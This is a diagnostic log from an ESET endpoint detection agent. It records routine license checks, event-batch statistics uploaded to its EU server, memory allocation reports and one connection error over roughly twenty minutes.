2026-03-04 06:43:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:43:35 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:37:17, To:, 2026-03-04 06:43:35, Duration (s):, 378, Events Per Second:, 14.226, Events:, 5385, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 4465, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 26, Livegrid:, 26, OriginUrl:, 0, Alarms:, 867, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 597457
2026-03-04 06:43:37 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s469ms.
2026-03-04 06:43:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2263 KB; TcpIpConnectionsManager: 964 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 532 KB; rules::ProcessConditionsCache: 401 KB; BaseEvent: 280 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 75 KB; cloudutils::CloudData: 40 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 26 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 67436 KB;
2026-03-04 06:44:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2624 KB; TcpIpConnectionsManager: 1113 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 515 KB; BaseEvent: 465 KB; rules::ProcessConditionsCache: 404 KB; BatchSerializer::EventsQueueTag: 123 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 15 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 68154 KB;
2026-03-04 06:45:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2999 KB; TcpIpConnectionsManager: 1275 KB; BaseEvent: 644 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 497 KB; rules::ProcessConditionsCache: 395 KB; BatchSerializer::EventsQueueTag: 171 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 68883 KB;
2026-03-04 06:46:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:42:21, To:, 2026-03-04 06:46:26, Duration (s):, 245, Events Per Second:, 17.146, Events:, 4204, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3496, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 707, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 466094
2026-03-04 06:46:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s383ms.
2026-03-04 06:46:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 3357 KB; TcpIpConnectionsManager: 593 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 500 KB; rules::ProcessConditionsCache: 372 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; BaseEvent: 85 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 21 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67831 KB;
2026-03-04 06:47:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 3718 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 544 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; rules::ProcessConditionsCache: 348 KB; BaseEvent: 266 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 69 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 18 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 68347 KB;
2026-03-04 06:48:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 06:48:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 06:48:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 06:48:23 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 06:48:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:48:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 06:48:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:48:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:48:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 4078 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; BaseEvent: 446 KB; rules::ProcessConditionsCache: 331 KB; BatchSerializer::EventsQueueTag: 115 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 68891 KB;
2026-03-04 06:49:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 4441 KB; BaseEvent: 624 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 516 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 504 KB; rules::ProcessConditionsCache: 318 KB; BatchSerializer::EventsQueueTag: 162 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 69466 KB;
2026-03-04 06:50:34 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:46:25, To:, 2026-03-04 06:50:34, Duration (s):, 249, Events Per Second:, 16.416, Events:, 4091, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3369, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 721, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 454484
2026-03-04 06:50:35 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s365ms.
2026-03-04 06:50:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1414 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 506 KB; rules::ProcessConditionsCache: 325 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; BaseEvent: 58 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 15 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 65730 KB;
2026-03-04 06:51:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1772 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 517 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 508 KB; rules::ProcessConditionsCache: 302 KB; BaseEvent: 236 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 61 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66292 KB;
2026-03-04 06:52:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2135 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 527 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 501 KB; BaseEvent: 417 KB; rules::ProcessConditionsCache: 299 KB; ModuleInfoCache: 109 KB; BatchSerializer::EventsQueueTag: 108 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66880 KB;
2026-03-04 06:53:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 06:53:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 06:53:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 06:53:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 06:53:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:53:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 06:53:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:53:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:53:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2498 KB; BaseEvent: 596 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 526 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 502 KB; rules::ProcessConditionsCache: 298 KB; BatchSerializer::EventsQueueTag: 155 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67468 KB;
2026-03-04 06:54:46 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:50:37, To:, 2026-03-04 06:54:46, Duration (s):, 249, Events Per Second:, 16.486, Events:, 4110, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3375, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 4, Livegrid:, 4, OriginUrl:, 0, Alarms:, 726, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456281
2026-03-04 06:54:48 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s990ms.
2026-03-04 06:54:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1313 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 511 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 505 KB; rules::ProcessConditionsCache: 258 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BaseEvent: 12 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchSerializer::EventsQueueTag: 3 KB; BatchStringTag: 0 KB; Total: 65495 KB;
2026-03-04 06:55:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1719 KB; ModuleMetadata: 585 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 490 KB; rules::ProcessConditionsCache: 330 KB; BaseEvent: 210 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 54 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66253 KB;
2026-03-04 06:56:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2082 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 510 KB; BaseEvent: 386 KB; rules::ProcessConditionsCache: 308 KB; ModuleInfoCache: 109 KB; BatchSerializer::EventsQueueTag: 101 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66828 KB;
2026-03-04 06:57:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2444 KB; ModuleMetadata: 585 KB; BaseEvent: 566 KB; TcpIpConnectionsManager: 557 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; rules::ProcessConditionsCache: 293 KB; BatchSerializer::EventsQueueTag: 148 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67413 KB;
2026-03-04 06:58:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 06:58:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 06:58:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 06:58:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 06:58:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:58:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 06:58:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:58:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 06:58:54 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:54:45, To:, 2026-03-04 06:58:54, Duration (s):, 249, Events Per Second:, 16.517, Events:, 4114, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3395, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 718, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457834
2026-03-04 06:58:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1283 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 519 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 513 KB; BatchStringTag: 447 KB; rules::ProcessConditionsCache: 286 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; BaseEvent: 4 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchSerializer::EventsQueueTag: 2 KB; Total: 65945 KB;
2026-03-04 06:58:56 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 2s608ms.
2026-03-04 06:59:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1646 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; TcpIpConnectionsManager: 522 KB; rules::ProcessConditionsCache: 284 KB; BaseEvent: 187 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 48 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 9 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66115 KB;
2026-03-04 07:00:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2019 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; TcpIpConnectionsManager: 511 KB; BaseEvent: 367 KB; rules::ProcessConditionsCache: 285 KB; ModuleInfoCache: 109 KB; BatchSerializer::EventsQueueTag: 96 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66709 KB;
2026-03-04 07:01:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2382 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; TcpIpConnectionsManager: 512 KB; rules::ProcessConditionsCache: 280 KB; BatchSerializer::EventsQueueTag: 143 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67296 KB;
2026-03-04 07:02:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2745 KB; BaseEvent: 726 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; TcpIpConnectionsManager: 514 KB; rules::ProcessConditionsCache: 273 KB; BatchSerializer::EventsQueueTag: 189 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67881 KB;
2026-03-04 07:03:02 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 06:58:53, To:, 2026-03-04 07:03:02, Duration (s):, 249, Events Per Second:, 16.522, Events:, 4114, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3380, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 733, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 457766
2026-03-04 07:03:03 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s433ms.
2026-03-04 07:03:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 07:03:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 07:03:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 07:03:24 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 07:03:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:03:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 07:03:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:03:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 07:03:39 7ff800ffa6c0 Error: Error while sending control request to server at "eu01.agent.edr.eset.systems:8093", certificate was set to: /CN=Agent=c771dbf0-85fb-4c94-8961-6227fa858111. getReply: End of file [asio.misc:2]
2026-03-04 07:03:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 1639 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 541 KB; TcpIpConnectionsManager: 540 KB; rules::ProcessConditionsCache: 304 KB; BaseEvent: 162 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 43 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66123 KB;
2026-03-04 07:04:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2023 KB; ModuleMetadata: 585 KB; TcpIpConnectionsManager: 555 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 543 KB; BaseEvent: 342 KB; rules::ProcessConditionsCache: 308 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; BatchSerializer::EventsQueueTag: 91 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66759 KB;
2026-03-04 07:05:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2386 KB; ModuleMetadata: 585 KB; TcpIpConnectionsManager: 573 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 521 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 491 KB; rules::ProcessConditionsCache: 286 KB; BatchSerializer::EventsQueueTag: 140 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67290 KB;
2026-03-04 07:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61465 KB; ProcessInfo: 2746 KB; BaseEvent: 700 KB; ModuleMetadata: 585 KB; rules::AncestorEvaluations: 552 KB; TcpIpConnectionsManager: 547 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 488 KB; rules::ProcessConditionsCache: 267 KB; BatchSerializer::EventsQueueTag: 186 KB; ModuleInfoCache: 109 KB; CacheEntry: 94 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 7 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67829 KB;
